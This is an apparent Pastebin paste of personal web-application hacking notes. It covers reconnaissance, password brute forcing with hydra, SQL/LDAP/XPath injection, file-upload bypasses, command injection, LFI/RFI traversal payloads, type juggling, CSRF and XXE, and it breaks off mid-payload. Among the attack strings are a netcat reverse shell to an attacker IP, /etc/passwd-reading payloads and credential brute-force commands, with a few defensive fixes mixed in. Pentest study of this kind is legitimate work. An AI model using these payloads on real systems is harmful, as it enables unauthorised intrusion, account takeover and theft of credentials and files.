Guest User


a guest
Jul 4th, 2017
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.62 KB | None | 0 0
  1. Web app hacking
  3. Attacking Strategies
  4. Phases:
  5. Recoinnassance
  7. Online searching:
  8. Enumeration/Fingerprinting
  9. How to probe ports:
  10. More info on probed ports, web resources:
  11. Identify services on all ports, check for outdated software/other potential vulns
  12. Manual browsing + spidering of website on BurpSuite.
  13. Exploitation
  14. Web app attack cheat sheet: Cheat sheet:
  15. Top 10:
  18. CTF:
  19. Top 4 Web app hacking vulns according to that:
  20. 1)information in HTML source
  21. 2)hidden directories
  22. 3)input places for injections
  23. 4)file upload
  28. Fingerprinting/enumeration
  29. Header info
  31. For HTTP headers:
  32. netcat [ip or domain] [port]
  33. GET / HTTP/1.1
  34. Host: [ip or domain]
  36. For HTTPS headers:
  37. openssl s_client -connect [ip or domain]:443
  38. GET / HTTP/1.1
  39. Host: [ip or domain]
  41. If requests don't come back like they do in the browser (e.g 403 instead of 404), there is probs a WAF (web application
  42. firewall) installed. In that case, mimic the browser and send a user-agent string in Zap's bruteforce)
  45. Other
  47. [+] Use Wappalyzer to identify known technologies.
  49. Confirm use of PHP
  51. All of these (along with solutions) can be found here, in the comments section:
  53. If expose_php hasn't been set to off in the Apache conf file (which also hides .php extensions), then put this as
  54. an argument to get php info: ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 //This is removed in PHP 5.5, I can't get it to work anymore
  56. The PHP session ID cookie's name defaults to "PHPSESSIONID".
  58. The website might have "X-powered by PHP" in a HTTP response header.
  60. [+] Find out PHP version: //Removed since PHP 5.5, I can't get it to work anymore
  61. Either through php info above, or by identifying what logo it has
  64. [+] Search DNS records using dig.
  65. //not that useful
  67. If the website is using shared hosting, you can attack the same server from other websites as well (you pwn one website, you can get to all the others as well).
  69. [+]Find potentially vulnerable folders or files that disclose information:
  70. This is useful because hidden files may not be hardened against attacks, they may be backups that are either
  71. old and therefore vulnerable or give away source code (browsing files like mypage.php.backup will display the code in HTML)
  72. Also log files may contain sensitive data.
  74. [+] Burp can be used for mapping the site.
  76. [+] Inspect known HTTP headers and check for vulns (like outdated software,
  77. remote file inclusion, etc).
  79. nikto -h [domain or ip]
  81. [+] Directory scans:
  83. brute force directories/files (using wfuzz)
  84. python -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ
  85. for a time delay, do -s
  86. if you're getting "soft 404s", then you can filter by character length --hh number_of_chars_in_soft_404
  88. (using dirbuster):
  91. Identify the file extensions in use within known areas of the
  92. application (e.g. jsp, aspx, html), and use a basic wordlist
  93. appended with each of these extensions (or use a longer list of
  94. common extensions if resources permit).
  96. (!)For each file identified through other enumeration techniques,
  97. create a custom wordlist derived from that filename. Get a list
  98. of common file extensions (including zip, ~ (created by emacs), (none at all), bak, txt, src, dev, old, inc,
  99. orig, copy, tmp, etc.) and use each extension before, after, and
  100. instead of, the extension of the actual file name.
  102. Note: Windows file copying operations generate file names pre-
  103. fixed with “Copy of “ or localized versions of this string
  105. [+] Try to infer the name of the file based on the naming scheme.
  106. For example, if a page viewuser.asp is found, then look also for edituser.
  107. asp, adduser.asp and deleteuser.asp. If a directory /app/user is found,
  108. then look also for /app/admin and /app/manager.
  110. [+] Read the comments that devs leave. They may contain useful info.
  112. [+] Look at robots.txt. Might contain interesting pages.
  114. [+] Check for directory listing. This is turned on by default. will give you a directory listing.
  116. [+] Old files (which haven't been deleted but are no longer in use) may be in Google's archives.
  117. Refer to OWASP testing guide v4's "Google Hacking" are for more info.
  119. [+] If server uses some software (for example forum software phpbb), then check to see if the
  120. dev has accidentally left some installation files there. Those could prove to be useful.
  121. For example, for phpbb, that might be /phpbb3/install/install.php
  123. [+]If you find a .git directory, then check this out:
  125. [+] Joomla: Check out joomscan
  126. Wordpress: wpscan, might also want to check out wordpress sploit framework
  127. CMS: Check out cmsmap
  128. --------------------------------------------------------
  129. Attacking web login applications/authentication methods
  130. --------------------------------------------------------
  131. [+] HTTP verb tampering:
  132. Any HTTP method based authentication (like basic authentication or digest authentication), this should be tested.
  135. This works on and Java EE where the dev has said
  136. "Allow GET requests for admin, deny GET and POST requests for everyone else"
  137. What he's forgotten is that while GET and POST are denied, everything else is allowed.
  138. Where there's method-based authentication, this should be tried.
  140. Also make sure nonexistent ones like JEFF are denied.
  142. [+] PHP loose comparisons (check below)
  144. [+] Bruteforcing (check below)
  146. [+] Session fixation: refer to hacksplaining
  147. ----------------------------------------
  148. Bruteforcing passwords/Password cracking
  149. ----------------------------------------
  150. [+] Password cracking guide:
  151. (This applies most to offline cracking)
  153. (+) If there are no word mangling rules (need number, uppercase, symbol, etc), then most people don't
  154. like to mangle passwords. About 51% don't use numbers and only 6% use uppercase.
  156. Dictionary attacks with a lot of different words and not a lot of mangling work well here for
  157. catching low-hanging fruit. In this blog there are all the words in wikipedia -
  159. (+) If here is a password creation policy, then you do have to use a smaller input dictionary and more mangling.
  160. The best such input dictionaries are based on previously cracked passwords.
  162. (+) The default mangling rules in John the Ripper work pretty well. However, they're designed
  163. to crack weak passwords. Also, you can make your own rules, apply that to a wordlist and conti-
  164. nually feed it to John using the -stdin option
  166. (+) Probabilistic cracking:
  167. Some words are more common than others: password, monkey, football
  168. Some word mangling rules are more common: 123, 007, $$$
  170. Probabilistic cracker assigns probabilities to everything:
  171. dictionary word commonness,
  172. word mangling rules
  173. l33tspeak
  175. These probabilities are created by a "training list"
  177. If you need to attack a stronger set of passwords, you just create a stronger training list.
  178. (This should be posted on this guy's site:
  181. (+) If all the passwords have individual salts, then "password" and "password" don't have the same
  182. hash for different users, which is lame.
  183. In that case, you can't crack all the hashes by just doing one round of cracking. You have to
  184. do a round of cracking for every single hash, which is lame. In that case, just grab a wordlist
  185. with previously cracked passwords and try those (since ppl reuse passwords)
  187. (+) For attacking an individual, and not a huge list, you just have to create additional
  188. wordlists and attack a high probability to words related to them: kids' names, pets' names,
  189. parents, hobbies, etc. You can probably try passwords with high complexity and word mangling
  190. (mby even bruteforce), depending on how much time you have (especially if you're just attacking admin)
  192. (+) When bruteforcing, you should do letter frequency analysis
  193. With that, you can figure out that some letters like "q" don't occur very much and you shouldn't try them
  195. Also note that numbers are usually at the end and uppercase at the beginning (you can use crunch for this)
  197. Markov models - figures out "human-like" words.
  198. Basically says that "if you have the letter 'q', then the letter that follows it is almost alwaus 'u'"
  199. This is built into John the Ripper
  200. The result is that most of the things you get are words that look like they're taken from
  201. a dictionary (like "dog"). But also, you get words like "stech", which seems like it could be a password.
  203. [+] Bruteforce HTTP Basic Auth (the popup screen)
  204. hydra -L users.lst -P passwords.txt -f http-head /path/of/target/ -V
  205. -V is verbose mode, -f is exit after first login pair found
  207. [+] Brute forcing http GET form:
  210. [+] The following is based on this:
  213. Bruteforcing ssh
  214. hydra <IP address or domain> ssh -s 22 -P passwords.txt -L users.txt (or -l user) -e nsr -t 4 (e.g 4 threads)
  216. Bruteforcing HTTP POST form:
  217. hydra <IP address or domain> http-form-post "<login path, e.g /login.php>:<form username input, e.g username>=^USER^&<form password input>=^PASS^:<The failed login text, e.g Wrong login>" -l <username> -P <passwordlist, e.g 500-worst-passwords.txt> -t 10 (number of threads, I don't know why 10)
  219. [+] If you want to crack PHP's md5, then the correct format is raw_md5, not any other md5 variant.
  221. ----------------------
  222. Clickjacking
  223. --------------------
  224. Refer to the lesson about it.
  226. -------------------------------------------------
  227. SQLi/SQL injection
  228. --------------------------------------------------
  230. [+] As always, the first step to checking that the vulnerability exists is trying to get an injected query that gives the same reply as the legimitate one. For example:
  231. ?id=11-1 should be the same as ?id=10 (if it's not a string)
  232. also you can try ...UNION SELECT 1,2,3--
  235. [+] Make sure the number of columns in the UNION request matches the amount before the UNION.
  236. You can do this with UNION SELECT 1, 2, 3, 4, etc. until you stop getting an error
  238. What select 1 does is it gives you the first column, but replaces all values with ones. The formal name of the column remains the
  239. same though (so if you do mysql_fetch_array(sqlquery)['id'] (and id is the first row), and the sqlquery is SELECT 1,
  240. then it will give you 1. If you do SELECT 1, 2 and id is the second row, you get 2.
  242. [+] When you want to comment something out, you need "-- " at the end. MIND THE SPACE.
  243. The problem with URL bars in browsers is that even if you put that space at the end, it will take it off. Use %20 at the end instead.
  245. [+] Keep in mind the left to right nature of SQL (like most other languages).
  246. SELECT user, password WHERE user=admin AND password='' OR 1=1--
  247. is equivalent to
  248. SELECT user, password WHERE (user=admin AND password='') OR 1=1--
  249. Meaning you'll get all users returned. Or, if only one user is returned, you'll only get the first user back.
  251. [+] Quite often, you'll find 'username' and 'password' from the 'users' table.
  253. [+] To get table and column info, type:
  254. MySQL: SELECT concat(table_name,':', column_name) FROM information_schema.columns
  256. [+] SQLmap tutorial -
  257. frst thing to try - sqlmap -u ""
  258. POST request:
  260. [+] SQL Truncation attack - attack registration forms to gain access to any user account.
  261. This might only work on MySQL. According to my testing it should work for even custom databases (not the default one).
  262. Since the creators can specify their own max length, then you might want to put a shitload of whitespace in between there.
  265. Register the following:
  266. username: admin (lots of spaces in between)And then whatever.
  267. password: mypassword123
  269. "admin " is equal to "admin", because the database discards any whitespace after that.
  271. If the "username" accepts only, say, 20 characters (this is a default configuration), then MySQL truncates the input to 20 characters.
  272. Meaning, the "And then whatever" gets discarded. Since whitespace doesn't count, you're effectively updating the record of "admin".
  274. [+] Filter evasion:
  276. Advanced ways to evade filters (using tricks like putting backslashes, using MySQL syntax, etc):
  279. SQL smuggling for evading filters:
  280. if "INSERT" is blacklisted, then do concat("INS", "ERT"). Also UNICODE smuggling: 'Ā' defaults to 'A' and won't be detected.
  281. starts from like halfway into the document.
  283. [+] Fixes:
  284. Blacklisting is bad. Almost all blacklists can be penetrated using filter evasion techniques.
  285. Whitelisting is better.
  286. Prepared statements/Parameter binding (same thing) is the way to go. Makes it impossible to do SQLi
  287. (unless it's incorrectly setup). You have to make sure that attackers can't change the command
  288. from neither the query itself or when you get data from the database that they might have
  289. changed (which is called second-order injection or something)
  291. [+] Obscure edge gase: GBK addslashes()/real_escape_string() bypass.
  294. ---------------------
  295. NoSQL injection
  296. ---------------------
  297. (better)
  300. [+] NoSQL databases often offer no security, so if you can connect to one, you can just query whatever you want.
  302. [+] There are 150 different NoSQL databases, all of them work differently and have different syntax. So, to exploit one, you need to
  303. familiarize yourself with the syntax. The most common one is MongoDB, so that's what the examples will be based on.
  305. ----------------
  306. LDAP injection
  307. ----------------
  309. [+] LDAP may be used instead of SQL when storing passwords (because it's really fast). In that case, use LDAP injection.
  310. <backstory>
  311. LDAP is used when a lot of different services have to be authenticated against a single back-end.
  312. If you just want to use it for authenticating logins, it's better to just use the database you already have (so maybe like MySQL)
  313. It's also useful if you want to incorporate authentication, privilege management and resource management in a database.
  316. Good tutorial on how LDAP queries work:
  318. </backstory>
  320. [+] LDAP Injection tutorial:
  323. When using ldap_bind(), if no parameters are supplied, then it's considered an anonymous bind. That's one way to get into someone's account.
  324. This works if the username and password aren't checked for emptyness and if they return NULL.
  325. (!)The way to get parameters to be null is not by doing ?username=&password=, but by not putting them in there at all, so just ?.
  327. If doing a search, then you can do an injection:
  328. Let's take (&(uname=blah)(passwd=(blah2)) as an example.
  330. Let's inject blah) into uname and blah2 into passwd
  331. OpenLDAP doesn't read anything after (&(uname=blah)) closes (although I haven't seen an example where this works yet).
  332. That means the (passwd=blah2)) will go unnoticed.
  333. Otherwise, you can inject a NULL byte where you want to end the query and that might work as well.
  334. OpenLDAP also just starts reading the query left to right and doesn't care if the part after the injection is syntactically incorrect.
  336. Active Directory will throw an error when you try to put two queries (however some clients ignore the second query and only send the first one, making the injection work).
  337. That means you'll have to make the injection into one query.
  339. Let's inject blah)(injected_filter into uname and blah2 into passwd. Now we have a query with 3 filters.
  340. (&(uname=blah)(injected_filter)(passwd=blah2))
  341. This is a good way to check for injection. If injected_filter is (&) and the query is successful, then it works.
  342. (!) (1=1) isn't the TRUE filter in LDAP. Use (&) instead! (1=1) gives you some weird shit that sometimes works, sometimes doesn't
  344. Also, if * is allowed, then you can inject username=* to get the first username in the database.
  345. Web for Pentester's examples are good if you want to look at the code (in the iso)
  346. Also, (pass=) gives the same result as (pass=*)
  348. (&(uid=*)(userPassword=*)(&))
  351. ---------------
  352. File upload vulns
  353. ---------------
  355. this covers spoofing content-type, bypassing imagesize() and filetype checks.
  357. [+] May be found: when you upload photos as your avatar, when you upload files for other ppl to see
  358. [+] If you aren't allowed to upload .php, try uploading .php3 or .php.test (since Apache doesn't have handler for that, it will be used as .php)
  359. If the dev checks filetype by doing split(), then shell.jpg.php will work
  360. [+] To change MIME type (NOT the same as getimagesize()), use burpsuite.
  361. [+] To bypass getimagesize(), send a valid image with php in its comments
  363. This can be done using jhead.
  366. First, clear the headers using
  367. jhead -purejpg <filename>.jpg
  369. Add exif jpeg comment
  370. jhead -ce <filename>.jpg
  372. Write your php here. Note: the editor is vim I guess. (<can't remember, maybe 'i' for insert, ESC for exiting insert, :wq for save file and quit)
  373. For example (note the __halt_compiler() at the end. Otherwise the image bytes will get executed)
  374. <?php echo "hi"; __halt_compiler();?>
  376. [+] .htaccess is awesome (nginx doesn't support .htaccess files, only Apache). Can turn .jpg into .php or even the htaccess itself into .php.
  378. [+] The solution is to prevent the users from accessing those files directly by putting them
  379. outside the webroot and also by obfuscating the name, so that it's very difficult to get it
  380. by using LFI. Also prevent all the types of tricks mentioned in the article.
  382. [+] Anti filetype checking methods:
  383. Check what extension and what content can be uploaded.
  384. Try to upload PHP file with the extension changed to the correct one (bypasses extension)
  385. Try to upload a file in the correct format with the extension changed to .php (bypasses content)
  386. If both enabled, do either;
  387. add PHP payload to a PDF file
  388. create PHP file that looks like PDF and bypasses the content-type check (much safer)
  389. (there are also kali linux programs that do this)
  391. Under "exploitation of local file include"
  392. -------------------------------------------------------
  393. RCE/Code injection/Command execution/Command Injection:
  394. -------------------------------------------------------
  395. [+] Use burp. It's so useful! For example, in one challenge, the programmer did a header("someotherlocation") when he detected that the formatting
  396. wasn't right. But he forgot to put return afterwards. So you could see the response come back in burp and see the results of your command injection.
  398. [+] if you can provide parameters to shell_exec() or exec() or passthru(), then you have a number of options.
  400. Look at the list of bash redirection and command operators:
  402. Redirect stderr to stdout:
  403. 2>&1
  404. use ; or && or & to do multiple commands (you should encode these, especially the &).
  406. There's also notation for putting commands inside other commands.
  407. The following are equal to ping
  408. ping `echo`
  409. ping $(echo
  410. This allows you to execute random commands
  412. If you know what command they're using inside exec(), make sure to experiment with edge cases on the command line.
  413. For example:
  414. exec(ping blah; //is equal to
  415. exec(ping;
  416. So you can put anything instead of blah (like another command) and nothing bad will happen to you.
  418. Also you can check for typos. So if $shitdev puts "| " into the blacklist,
  419. then injecting "| ls" will get blacklisted, but "|ls" won't. Also he might've blacklisted ' instead of `, you never know.
  421. filters will probably be doing a preg_match on the string.
  423. It might be possible to do a multi-line command.
  424. For this, put an encoded newline (%0a) and your command after the initial command.
  426. -------------------------------------------------------
  427. Local File Inclusion/LFI/Directory Traversal
  428. -------------------------------------------------------
  431. [+] LFI often happens in multi-language websites. It gets the $language from either the cookie or
  432. the GET request and then includes language/$lang.php.
  434. [+] Log files, cookies and other methods can be used to achieve LFI (and RCE):
  437. [+] Putting a null-byte in between a string *might* make the string stop in some commands, for example in includes (because that's how it works in C).
  438. For example, include("shell.php\0.img") and will try to include "shell.php". In URL encoding, the NULL byte is %00.
  439. Doesn't work since PHP 5.3.4 (preg_ functions should still be vulnerable)
  440. If you try to do it after PHP 5.3.4, then it simply won't open anything with a null byte in it (even if you put the byte after the correct filename)
  441. From my server: Failed opening '' for inclusion, when the url is ?lang=
  443. [+] If null-byte doesn't work, use truncation.
  447. Basically, /etc/passwd is the same as /etc/passwd/ to PHP (IN SOME CASES, doesn't work on my PHP+Apache setup), because it strips trailing slashes. Also, PHP will truncate filenames longer than 4096 bytes. Meaning, you can do
  448. /etc/passwd/./././././././././ (a lot of these) ././.php
  449. and the .php at the end will get tossed away!
  451. [+] Or you can inject code directly into the URL by doing data://. That way, it'll include the code directly from the URL (needs to be urlencoded and requires allow_url_include
  453. //Use this one
  454. //I think data: can also be used instead of data://
  457. [+] Double encoding:
  458. If there's an attack detection system in place, then if there's also a decode() before the include()
  459. , then you can bypass the detection system by double URL encoding the attack. This works because
  460. it will be decoded the second time by the decode() and will be valid code.
  461. This is a rare vulnerability though.
  462. It might occur when the dev is dumb or when there's some kind of third party app in between the include() and GET,
  463. which does the decode.
  466. [+] Local file inclusion:
  468. [+]View source code of php using filters (encrypt to base64)
  469. Info at
  471. from DVWA:
  472. Low - ../../../../../../../../etc/passwd (on windows you'd do ..\)
  473. Medium - ../ is filtered, but only once. Meaning, ....//, after filtering, becomes ../
  474. High - Dev allows only certain files to be included, like file1, file2, file3. He did it by comparing the filename with "file*".
  475. Meaning, file1/../file1.php returns file1.php.
  477. [+] Good overview of all the options available for exploiting LFI:
  479. [+] Methods of getting PHP on the server for LFI:
  480. inject the PHP code in the log: for example with a web server, by accessing a crafted URL (the path contains the PHP code), and including the web server log.
  481. inject the PHP code in an email, by sending an email and including the email (in `/var/spool/mail).
  482. upload a file and including it, you can for example upload an image and put your PHP code in the image's comment section (so it won't get modify if the image is resized).
  483. upload the PHP code via another service: FTP, NFS, ...
  485. Also these:
  486. /proc/self/environ (you'll probably get permission denied)
  487. /proc/self/fd/...
  488. /var/log/...
  489. /var/lib/php/session/(PHP Sessions)
  490. /tmp/ (PHP Sessions)
  491. php://input wrapper
  492. php://filter wrapper
  493. data:// wrapper
  495. Also you can do it with anything that outputs phpinfo() (because the GET and POST variables are in it):
  497. (there was a way to get phpinfo to appear by doing ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000, but this doesn't work since PHP5.5 (I couldn't get it to work on any website I tried anymore, not even my own)
  501. [+] Including PHP files as base64 so you can read them:
  503. php://filter/convert.base64-encode/resource=index
  504. Example:
  505. Also you can do it with data:// (guide somewhere below)
  507. --------------------------
  508. RFI/Remote File Inclusion
  509. --------------------------
  510. [+] Remote file inclusion - how to pass any extension or suffix to the URL (like "") without errors:
  511. If the include() script adds something like _lang.php or whatever at the end of it, then you don't need to
  512. make the file end with _lang.php on the remote server. You can just put a "?" at the end of your include.
  513. ?include=
  514. The ? at the end of the URL is used to ensure any extension or suffix added to the URL will be interpreted by as a GET parameter. If the configuration of the vulnerable system doesn't allow remote file include, an error message is displayed.
  516. [+] Exploitation of RFI:
  518. Under "exploitation of remote file include"
  520. When you include a web shell, you should include shell.txt, not shell.php.
  521. If you include a php file, then the code runs on the external server, not yours.
  523. [+] DVWA Remote File Include:
  524. Low - ?page=
  525. Medium - use some other filestream, like php://. Info at
  526. ---------------
  527. Post exploitation
  528. ----------------
  529. [+] Create shell with netcat:
  531. Attacker$ sudo nc -l -p 80
  532. the attacker listens to port 80
  534. Victim$ nc [attacker IP] 80 -e /bin/bash
  535. The -e sign says to start up the program after connection and deliver the commands there
  536. Not all versions of netcat have -e.
  538. $ command-name 2>&1
  539. Redirect error messages to stdout instead of stderr (so you can see the errors)
  542. [+] Create "true" shell with socat:
  543. Presumes a previous shell on port 80 with the netcat shell.
  546. --------------------
  547. Linux host reviewing
  548. --------------------
  549. *I'll put only offensive things here. For defensive ones (logging, etc), go to
  550. *If there's lots of info, use "| less" to view it one by one.
  552. [+] Get Kernel info:
  554. uname -a
  555. gives kernel info
  557. uptime
  558. can be used to estimate how long it's been since the system's been patched.
  560. [+] Check for vulns:
  562. dpkg -l | less
  563. List all installed programs
  565. go to cvedetails and see if there are any unpatched programs to exploit (probably have to judge by uptime, unless it's been even longer since it was updated?)
  567. [+] Get general info:
  569. ifconfig -a
  570. to see what network interfaces are present;
  572. route -n
  573. to get the system routes. If the system does not have the route command installed, netstat -rn can be a suitable substitute.
  575. cat /etc/resolv.conf and cat /etc/hosts
  576. to know more about the DNS configuration of the system.
  578. [+] firewall rules:
  579. iptables -L -v
  580. ip6tables -L -v
  582. [+] Check file privileges (/etc/shadow should be with root privileges)
  583. ls -l /etc/ | less (gives it for all the files in the directory, so just find the right one)
  584. do this with /etc/shadow, /etc/shadow.backup, /etc/mysql/my.cnf, Apache SSL private keys
  586. [+] setuid files
  587. These are files which run with the owner's privileges instead of the user's.
  588. If the owner is root, they can be a security problem. The "passwd" utility is one such setuid file.
  590. find / -perm -4000 -ls
  591. Retrieves list of setuid files.
  592. For each file found, check if it's legitimate and if permissions are set correctly.
  594. [+] Find files that can be read from/written to.
  595. *You'll probably want to filter out /proc/ answers by doing "| grep -v /proc"
  597. Using find, you can retrieve a list of files that are readable and write-able by any users using the following command:
  598. # find / -type f -perm -006 2>/dev/null
  600. and a list of files write-able by any users using:
  601. find / -type f -perm -002 2>/dev/null
  603. [+] UID 0 users
  604. A common misconfiguration/backdoor of the /etc/passwd is to have a user with the uid 0. On traditional systems, only root is supposed to have the uid 0. If another user has the uid 0, he's basically root on the system.
  606. [+] /etc/shadow hash:
  607. You can check what encryption is used by checking the hash format, if the hash:
  608. does not have a $ sign, DES is used;
  609. starts by $1$, MD5 is used;
  610. starts by $2$ or $2a$, Blowfish is used;
  611. starts by $5$, SHA-256 is used;
  612. starts by $6$, SHA-512 is used.
  614. This can also be used
  615. cat /etc/pam.d/common-password
  617. [+] sudoers
  618. The sudo configuration is stored in /etc/sudoers:
  620. # egrep -v '^#|^$' /etc/sudoers
  621. Defaults env_reset
  622. root ALL=(ALL) ALL
  623. %sudo ALL=(ALL) ALL
  624. user ALL=(ALL) NOPASSWD: ALL
  626. We can see there that the user named user can be any users (including root) without any passwords and without restriction.
  628. A common mistake with sudo is to provide a user with a limited set of commands that will still allow him to get a root shell on the system. For example, a user with access to /bin/chown (change owner) and /bin/chmod (change mode) will be able to copy a shell in his home and change the shell owner to root and add the setuid bit on the file. This way, this user will be able to have a root shell on the system.
  630. [+] Services:
  632. ps -edf
  633. Running services
  635. # lsof -i UDP -n -P
  636. UDP services
  638. # lsof -i TCP -n -P
  639. TCP services
  641. --------------------------------
  642. CSRF/Cross Site Request Forgery
  643. --------------------------------
  644. [+] Ways to do PUT/GET request without victim input:
  646. POST:
  647. make POST form with hidden inputs and use JavaScript to send the POST request
  649. GET:
  650. Make image with zero width and length and src=The_CSRF_Link. The GET request is made automatically.
  652. PUT/DELETE:
  653. This one is very difficult. Can only be accomplished with like browser plugins/plugin vulns and stuff.
  655. [+] If referrer header is checked, then two options:
  656. 1)If checks that "" is in the string, you can send the query from
  657. or
  659. 2)Use XSS (like reflected XSS) to achieve the goal.
  661. [+] If an anti-CSRF token is added, you need XSS.
  663. ------------------------------------------------
  664. HTTP Request Smuggling/HRF/Web Cache Poisoning
  665. ------------------------------------------------
  666. OWASP:
  667. Do root-me challenge to learn this.
  669. ---------------------------------
  670. Global register poisoning
  671. ---------------------------------
  673. [+] Turned off by default since PHP 4.2.0 and deprecated since PHP 5.3.0!
  674. With this, you can initialize any uninitialized variables using get requests.
  675. It's good to have source code available with this.
  677. Example:
  678. <?php
  679. if (1==2) {
  680. $maths = False;
  681. }
  682. if ($maths) {
  683. loginToWebpage()
  684. }
  685. ?>
  687. You can do vulnerable/registerpoison.php?maths=1 (because 1 == True) and get logged into the webpage.
  689. --------------------------------------
  690. PHP loose comparisons/Type juggling
  691. --------------------------------------
  692. (check the link for all the examples)
  694. Can be used for CSRF token bypass, for authentication bypass
  696. [+] PHP has loose comparisons ("==") and strict comparisons ("===")
  698. Loose comparisons has some weird conversion rules.
  700. JSON is really useful because you can also send ints and bools and stuff, not just strings.
  702. Importantly, any string which has a letter or "0whatever" in the beginning is equal to int(0). If it begins with "123whatever", it's equal to int(123)
  703. !!Also TRUE == "whatever" will also always return true.
  705. JSON:
  706. {"username":0} //Might also work with "username":true
  707. if (0 == "testusername") { //works also with (123 == "123testusername")
  708. echo "username bypassed";
  709. }
  711. [+] Also, with strcmp, if they've made a check with if(!strcmp($var1, $var2)) then they've fucked up,
  713. Use this to determine what counts as TRUE and what counts as false.
  716. There are better options than the empty parentheses bexause passing the empty parentheses generates an error. If that error is caught, the exploit doens't work. Find a better way to get strcmp to be 0 (check root-me's type juggling solutions and also the website.
  718. JSON:
  719. {"password":[]}
  721. if (!strcmp([], "testpassword")) {
  722. echo "password bypassed";
  723. }
  726. [+] BTW, the same technique also works when using PHP serialized data instead of JSON!
  728. -------------------------------
  729. Server-Side Template inclusion
  730. --------------------------------
  733. --------------------------------------
  734. XEE/XML External Entity/XML Injection
  735. --------------------------------------
  736. The OWASP testing guide is most useful for this.
  737. XXE can be used for:
  738. 1) DDOS
  739. 2) Data theft
  740. 3) (ADD TO THIS)
  742. (less useful)
  746. hacksplaining has a good explanation of External entities
  748. <base knowledge of XML>
  749. [+] Quick explanation of what an entity is
  751. [+]An XML document is valid as long as it adheres to the DTD or the XML Schema.
  753. [+] DTD - Document Type Definition.
  755. order.xml could have a reference to order.dtd - the document type definition for order.xml
  757. //This is in order.xml
  758. <!DOCTYPE order SYSTEM "order.dtd">
  760. //this is order.dtd. Says what elements need to be in order.xml
  761. <?xml version="1.0" encoding="UTF-8"?>
  762. <!ELEMENT account (#PCDATA)>
  763. <!ELEMENT contact (#PCDATA)>
  764. <!ELEMENT count (#PCDATA)>
  765. <!ELEMENT order (product, count, orderer)>
  766. <!ELEMENT orderer (contact, account)>
  767. <!ELEMENT product (#PCDATA)>
  769. [+] XML schema - order.xsd. Similar to order.dtd, but different syntax.
  772. [+] Core XML security standards:
  773. 1)XML signatures
  774. 2)XML encryption
  775. 3)XML key management (XKMS)
  776. 4)Security Assertion Markup Language (SAML)
  777. 5)XML access control markup language (XACML)
  779. XML core security
  780. standards are only
  781. of limited value when
  782. the XML generator or
  783. parser is the target of
  784. the attack.
  786. [+] Example of PHP's simpleXML used to process an RSS feed (which is just an XML file)
  787. ,the answer by brian cline
  789. </base knowledge of XML>
  791. [+] XML External entities
  793. [+] XML generator injection:
  794. You might be able to inject a fragment.
  795. For example, you write the injection in the comment part of an online banking app.
  796. Your code will get parsed in another app and you'll get the $$$.
  798. <batchjob>
  799. <payment>
  800. <account>5678-attacker</account>
  801. <rcpt>206-1234</rcpt>
  802. <amount>100.00</amount>
  803. <comment> //INJECTION STARTS HERE
  804. </comment>
  805. </payment>
  806. <payment>
  807. <account>1234-victim</account>
  808. <rcpt>206-1234</rcpt>
  809. <amount>100.00</amount>
  810. <comment>Hacked
  811. </comment> //INJECTION ENDS HERE
  812. </payment>
  813. </batchjob>
  815. [+] XPath injection.
  816. //Xpath syntax tutorial
  817. //Really useful! Also has blind in next tutorials.
  818. //intoduction to xpath injection
  819. //Blind XPath injection.
  821. If you want to find something in xml document, you use xpaths. For example, querying "/a/b/c" will output "The value" in this: <a><b><c>The value</c></b></a>
  822. Thus, we get xpath injections.
  824. You can use [position()=1] to get the first element.
  826. The equivalent of UNION in XPath is a pipe '|'. When you do the pipe, only the results from the first statement count apparently (when doing the xpath_search, I think), so it's basically like commenting the rest out, I suppose.
  827. Example:
  828. /userdb/user[id='/*injection_starts_here*/' or position()=1]/New_Element_name|a['/*injection_ends_here*/']/username
  829. You can see that two tricks are used here. First there's getting the first element using position()=1. Secondly, we've used a pipe to essentially comment out the rest of the query, so that we can get the value of New_Element_name instead of username returned to us.
  831. Getting all the elements -
  833. [+] 2014 Whitepapaer that's a great resource when pentesting XXE. From the same guys that did the OWASP talk below.
  835. "External Resource Inclusion via XInclude Support" - this can do pretty much everything external entities can do.
  838. 1) URL encode everything - especiall '&'
  839. 2) <!DOCTYPE blablabla <--- doctype's closing bracket is only at the end!
  840. 3) You have to put the file:// before getting a file!
  842. [+] SUMMARY OF OWASP TALK - Stealing data using XXE (From 2013 - check OWASP if anything's changed):
  844. (CTRL+F "(EXPLOIT) PARTS IF IN A HURRY. The rest is for better understanding.)
  845. ONE MORE THING - it's really really easy to mess these hacks up, so make sure to test them out on a VM first (like Web For Pentester)
  846. Also try to use the same parser you'll be exploiting, since different parsers may behave differently. (for example, I wasn't able to get back PHP code from PHP's simpleXML parser, even when I inputted the CDATA and PHP code by hand (when it printed simplexml_load_string as a string (probably not the implementation you'll see in the wild). Even though Python worked. Also, <name><![CDATA[<name1>BradChad</name>]]></name> still outputted only BradChad, so this was the fault of the parser.)
  848. (*)(EXPLOIT)You can do it without pulling some tricks (With limitations). This allows you to steal things like /etc/passwd
  849. If you do:
  851. <!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><name>&x;</name>
  853. Then there are some heavy restrictions:
  854. 1) The data is stored server-side in the <name> field, and you need to be able to see it client-side to get the data.
  855. 2) The data you're stealing has to be well-formed XML, so:
  856. a) no binary
  857. b) in text, no stray '&', '<' or '>'
  858. c) IMPORTANT - well-formed XML documents can be included, but are often not usable.
  859. The application is going to try and interpret what you've included. It's going to find a whole series of more tags,
  860. and it's either gonna fail the validation or it's not gonna pull the text in as raw text,
  861. it's gonna pull in any data around the next set of tags, so you don't actually get access to the data.
  863. (*) If you get a little bit more complex, you can get around those restrictions by using parameter entities.
  865. (info) A parameter entity is pretty much reusable variable text that you can put inside an entity.
  866. For example,
  867. <!ELEMENT residence (name, street, pincode, city, phone)> //is the same as
  868. <!ENTITY % area "name, street, pincode, city"> //These three lines
  869. <!ENTITY % contact "phone">
  870. <!ELEMENT residence (%area; %contact;)>
  872. (what doesn't work) You can't do <!ENTITY start "<![CDATA["> because it's not well-formed XML (otherwise you could
  873. surround any include in CDATA tags, which means to interpret it as raw text.
  875. (the exploit) However, you CAN do it with parameter entities!
  877. <!DOCTYPE updateProfile [
  878. //first we make the parameter entities
  879. <!ENTITY % start "<![CDATA[">
  880. <!ENTITY % file SYSTEM "file://c:/has/broken/xml"> //I think a third '/' is necessary after 'file:'?
  881. <!ENTITY % end "]]>">
  882. //Then we grab a DTD file from our own website (necessary)
